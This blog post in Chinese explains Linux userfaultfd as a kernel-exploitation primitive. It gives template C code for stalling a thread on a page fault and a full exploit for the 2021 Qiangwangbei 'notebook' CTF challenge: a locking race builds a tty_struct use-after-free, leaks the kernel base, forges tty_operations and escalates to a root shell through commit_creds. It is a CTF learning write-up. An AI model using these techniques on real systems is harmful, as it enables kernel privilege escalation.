userfaultfd

重启kernel!

发现我真的很容易钻牛角尖(ˉ▽ˉ;)…,之后的学习会以做出题为第一目标

userfaultfd机制

linux的一种缺页处理机制,可以用户态自定义函数处理缺页处理机制

放一张典中典的图

使用userfaultfd系统调用需要:

  • 注册一个userfaultfd,通过ioctl监视一块内存
  • 启动一个用于轮询的线程uffd monitor,该线程通过poll不断轮询直到出现缺页异常

大致流程:

  • 某个线程在被监视内存产生缺页异常(比如第一次访问一个匿名页),该线程(faulting线程)进入内核处理缺页异常

  • 内核调用handle_userfault交由userfaultfd处理

  • userfaultfd将faulting线程休眠,并发送一个uffd_msg给monitor线程,等待其处理结束

  • monitor线程执行对应函数,并在ioctl处理缺页异常完毕后发送信号唤醒faulting线程

    ioctl选项:

    • UFFDIO_COPY:将用户自定义数据拷贝到faulting page上
    • UFFDIO_ZEROPAGE:将faulting page置0
    • UFFDIO_WAKE:用于配合上面两项中UFFDIO_COPY_MODE_DONTWAKE和UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充

userfaultfd用法(kernel板子)

相关宏定义,结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#define UFFD_API ((uint64_t)0xAA)
#define _UFFDIO_REGISTER (0x00)
#define _UFFDIO_COPY (0x03)
#define _UFFDIO_API (0x3F)

/* userfaultfd ioctl ids */
#define UFFDIO 0xAA
#define UFFDIO_API _IOWR(UFFDIO, _UFFDIO_API, \
struct uffdio_api)
#define UFFDIO_REGISTER _IOWR(UFFDIO, _UFFDIO_REGISTER, \
struct uffdio_register)
#define UFFDIO_COPY _IOWR(UFFDIO, _UFFDIO_COPY, \
struct uffdio_copy)

/* read() structure */
struct uffd_msg {
uint8_t event;

uint8_t reserved1;
uint16_t reserved2;
uint32_t reserved3;

union {
struct {
uint64_t flags;
uint64_t address;
union {
uint32_t ptid;
} feat;
} pagefault;

struct {
uint32_t ufd;
} fork;

struct {
uint64_t from;
uint64_t to;
uint64_t len;
} remap;

struct {
uint64_t start;
uint64_t end;
} remove;

struct {
/* unused reserved fields */
uint64_t reserved1;
uint64_t reserved2;
uint64_t reserved3;
} reserved;
} arg;
} __attribute__((packed));

#define UFFD_EVENT_PAGEFAULT 0x12

struct uffdio_api {
uint64_t api;
uint64_t features;
uint64_t ioctls;
};

struct uffdio_range {
uint64_t start;
uint64_t len;
};

struct uffdio_register {
struct uffdio_range range;
#define UFFDIO_REGISTER_MODE_MISSING ((uint64_t)1<<0)
#define UFFDIO_REGISTER_MODE_WP ((uint64_t)1<<1)
uint64_t mode;
uint64_t ioctls;
};


struct uffdio_copy {
uint64_t dst;
uint64_t src;
uint64_t len;
#define UFFDIO_COPY_MODE_DONTWAKE ((uint64_t)1<<0)
uint64_t mode;
int64_t copy;
};

//#include <linux/userfaultfd.h>

char temp_page_for_stuck[0x1000];

register_userfaultfd_for_thread_stucking

1
2
3
4
5
6
void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread, 
void *buf, unsigned long len)
{
register_userfaultfd(monitor_thread, buf, len,
uffd_handler_for_stucking_thread);
}
  • 创建一个uffd
  • 设置api,初始化uffd接口并获取其支持的特性
  • 注册监视的内存区域
  • 创建monitor线程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void register_userfaultfd(pthread_t *monitor_thread, void *addr,
unsigned long len, void *(*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* 1. userfaultfd系统调用创建并返回一个uffd,类似一个文件的fd */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
err_exit("userfaultfd");
}

/* 2. 创建一个uffdio_api结构体,用于指定uffd接口的版本和支持的特性 */
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
err_exit("ioctl-UFFDIO_API");
}

/* 3. 创建一个uffdio_register结构体,注册监视的内存区域 */
uffdio_register.range.start = (unsigned long) addr; // 起始地址
uffdio_register.range.len = len; // 监视的内存大小
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; // 监视模式
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
err_exit("ioctl-UFFDIO_REGISTER");
}

/* 4. 启动monitor线程 */
s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0) {
err_exit("pthread_create");
}
}

uffd_handler_for_stucking_thread

  • 启动poll轮询
  • 读取uffd_msg结构体
  • sleep卡住
  • ioctl分配物理内存并拷贝
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void *uffd_handler_for_stucking_thread(void *args)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) args;

for (;;) {
/* 1. 创建一个pollfd结构体,启动poll轮询 */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1) {
err_exit("poll");
}

/* 2. 读取返回的uffd_msg结构体 */
nread = read(uffd, &msg, sizeof(msg));

/* 3. 卡住 */
sleep(100000000);

if (nread == 0) {
err_exit("EOF on userfaultfd!\n");
}

if (nread == -1) {
err_exit("read");
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
err_exit("Unexpected event on userfaultfd\n");
}

/* 4. 创建uffdio_copy结构体,ioctl-UFFDIO_COPY处理这个userfault */
uffdio_copy.src = (unsigned long long) temp_page_for_stuck;
uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &
~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
err_exit("ioctl-UFFDIO_COPY");
}

return NULL;
}
}

例题:强网杯2021线上赛 - notebook

漏洞和利用

有一个全局的lock用来保护notebook全局数组

理论上来说noteadd、notedel、noteedit函数都应该用写锁,但noteadd和noteedit用的是读锁,读锁允许多个读线程同时进入,就产生了条件竞争

noteedit

如果edit的size和原来的size不一样会使用krealloc重新分配内存,krealloc的size如果是0的话会释放原chunk但不会分配新chunk

需要注意一下noteedit的处理顺序

  • 更改size
  • krealloc重新分配内存
  • copy_from_user从用户空间读取数据
  • 根据size进行判断并更改notebook
noteadd

注意一下noteadd的处理顺序

  • 保存原size
  • 更改size
  • copy_from_user从用户空间读取数据
  • 判断是否已有note,没有的话kmalloc分配内存
userfaultfd在kernel中的利用

由于在利用ioctl处理完缺页异常之后才会唤醒faulting线程,所以我们可以在monitor的ioctl之前加一个长时间的休眠卡住这个线程,由于无锁(锁没用),我们就可以利用条件竞争造一个uaf

主要流程

  • 新开一个线程noteedit释放tty_struct大小的chunk,然后利用copy_from_user卡住
  • 新开一个线程noteadd修改堆块大小,因为read和write堆块都需要查验大小
  • 主线程进行tty_struct的篡改和利用

ps:noteedit和noteadd的线程会一直卡到利用结束之后,所以不需要考虑copy_from_user完之后的事

另外,userfaultfd分配物理内存的时间是最后的ioctl,所以本题可以使用一块userfaultfd内存卡两次,因为触发第二次copy_from_user时第一次缺页异常还在卡着没分配物理内存

exp

注意

  • 驱动的text段和bss段加载的时候不是连着的,记得看一下加载基址
  • 看加载基址!驱动加载基址不一定是0xffffffffc0000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#include "mykernel.h"

#define TTY_STRUCT_SIZE 0x2e0

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define WORK_FOR_CPU_FN 0xffffffff8109eb90

#define NOTE_NUM 0x10

struct Note {
size_t idx;
size_t size;
char * buf;
};

struct KernelNotebook {
void *ptr;
size_t size;
};

int note_fd;
sem_t evil_add_sem, evil_edit_sem;
char *uffd_buf;
char temp_page[0x1000] = { "arttnba3" };

void noteAdd(size_t idx, size_t size, char * buf)
{
struct Note note = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, &note);
}

void noteDel(size_t idx)
{
struct Note note = {
.idx = idx,
};
ioctl(note_fd, 0x200, &note);
}

void noteEdit(size_t idx, size_t size, char * buf)
{
struct Note note = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, &note);
}

void noteGift(void *buf)
{
struct Note note = {
.buf = buf,
};
ioctl(note_fd, 100, &note);
}

ssize_t noteRead(int idx, void *buf)
{
return read(note_fd, buf, idx);
}

ssize_t noteWrite(int idx, void *buf)
{
return write(note_fd, buf, idx);
}

void* fixSizeByAdd(void *args)
{
sem_wait(&evil_add_sem);
noteAdd(0, 0x60, uffd_buf);
}

void* constructUAF(void * args)
{
sem_wait(&evil_edit_sem);
noteEdit(0, 0, uffd_buf);
}

int main()
{
save_status();
bind_core(0);

sem_init(&evil_add_sem, 0, 0);
sem_init(&evil_edit_sem, 0, 0);

note_fd = open("/dev/notebook", O_RDWR);
if(note_fd < 0)
err_exit("Fail to open device notebook!");

puts("[*] register userfaultfd...");

pthread_t uffd_monitor_thread;
uffd_buf = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_monitor_thread, uffd_buf, 0x1000);

puts("[*] allocating tty_struct-size object...");

noteAdd(0, 0x50, temp_page);
noteEdit(0, TTY_STRUCT_SIZE, temp_page);

puts("[*] constructing UAF on tty_struct...");

pthread_t add_fix_size_thread, edit_uaf_thread;
pthread_create(&edit_uaf_thread, NULL, constructUAF, NULL);
pthread_create(&add_fix_size_thread, NULL, fixSizeByAdd, NULL);

sem_post(&evil_edit_sem);
sleep(1);

sem_post(&evil_add_sem);
sleep(1);

puts("[*] leaking kernel_base by tty_struct");

int fd_tty = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if(fd_tty < 0)
err_exit("Fail to open device ptmx!");

size_t tty_struct_data[0x2e0];
noteRead(0, tty_struct_data);

if(*(int *)tty_struct_data != 0x5401)
err_exit("Fail to hit the tty_struct!");

size_t tty_ops = tty_struct_data[3];
if((tty_ops & 0xfff) == (PTM_UNIX98_OPS & 0xfff))
kernel_offset = tty_ops - PTM_UNIX98_OPS;
else
kernel_offset = tty_ops - PTY_UNIX98_OPS;
printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base + kernel_offset);

puts("[*] construct fake tty_operations...");

noteAdd(1, 0x10, temp_page);
noteEdit(1, sizeof(struct tty_operations), temp_page);
struct tty_operations fake_tty_ops;
fake_tty_ops.ioctl = kernel_offset + WORK_FOR_CPU_FN;
noteWrite(1, &fake_tty_ops);

size_t fake_tty_ops_addr, fake_tty_struct_addr;
struct KernelNotebook notebook[0x10];
noteGift(notebook);
fake_tty_ops_addr = (size_t)notebook[1].ptr;
fake_tty_struct_addr = (size_t)notebook[0].ptr;

size_t fake_tty_struct_data[0x100];
memcpy(fake_tty_struct_data, tty_struct_data, 0x2e0);
fake_tty_struct_data[3] = fake_tty_ops_addr;
fake_tty_struct_data[4] = kernel_offset + PREPARE_KERNEL_CRED;
fake_tty_struct_data[5] = NULL;

noteWrite(0, fake_tty_struct_data);

ioctl(fd_tty, 233, 233);

noteRead(0, fake_tty_struct_data);
fake_tty_struct_data[5] = fake_tty_struct_data[6];
fake_tty_struct_data[6] = tty_struct_data[6];
fake_tty_struct_data[3] = fake_tty_ops_addr;
fake_tty_struct_data[4] = kernel_offset + COMMIT_CREDS;

noteWrite(0, fake_tty_struct_data);

ioctl(fd_tty, 233, 233);

noteWrite(0, tty_struct_data);

get_root_shell();

return 0;
}

userfaultfd
http://akaieurus.github.io/2023/11/08/kernel-userfaultfd/
作者
Eurus
发布于
2023年11月8日
许可协议